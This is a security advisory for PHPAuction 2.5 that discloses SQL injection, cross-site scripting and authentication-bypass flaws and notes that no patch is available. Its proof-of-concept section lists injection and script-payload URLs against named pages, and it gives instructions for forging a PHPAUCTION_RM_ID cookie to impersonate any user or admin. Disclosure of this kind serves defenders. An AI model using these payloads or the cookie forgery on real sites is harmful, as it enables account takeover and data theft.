PHPAuction Multiple Vulnerabilities

BID:14184

Info

PHPAuction Multiple Vulnerabilities

Bugtraq ID: 14184
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Jul 07 2005 12:00AM
Updated: Jul 07 2005 12:00AM
Credit: Discovery is credited to <[email protected]>.
Vulnerable: PHPAuction PHPAuction 2.5
Not Vulnerable:

Discussion

PHPAuction Multiple Vulnerabilities

PHPAuction is affected by multiple remote vulnerabilities. These issues can allow an attacker to gain unauthorized access to a site and carry out SQL injection and cross-site scripting attacks.

PHPAuction 2.5 is reported to be affected by these issues. It is possible that other versions are vulnerable as well.

Exploit / POC

PHPAuction Multiple Vulnerabilities

An exploit is not required.

The following proof of concept examples are available:

SQL Injection:
/phpauction-gpl-2.5/adsearch.php?title=1&desc=on&closed=on&category='SQL_INJECTION&minprice=1&maxprice=1&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D=
on&seller=1&country=Afghanistan&ending=1&SortProperty=ends&type=2&action=search&go=GO%20%3E%3E

/viewnews.php?id='SQL_INJECTION

Cross-site scripting:
/phpauction-gpl-2.5/index.php?lan=<script>alert(document.cookie)</script>

/phpauction-gpl-2.5/profile.php?user_id=158&auction_id=<script>alert(document.cookie)</script>

/phpauction-gpl-2.5/profile.php?auction_id=<script>alert(document.cookie)</script>&id=159

/phpauction-gpl-2.5/admin/index.php?lan=<script>alert(document.cookie)</script>

/login.php?username=<script>alert(document.cookie)</script>

/viewnews.php?id=<script>alert(document.cookie)</script>

Authentication bypass:

Set the cookie as follows:
Name: PHPAUCTION_RM_ID
VALUE: Id number of the user/admin you want to impersonate (you can get it from thier profile)

Solution / Fix

PHPAuction Multiple Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHPAuction Multiple Vulnerabilities

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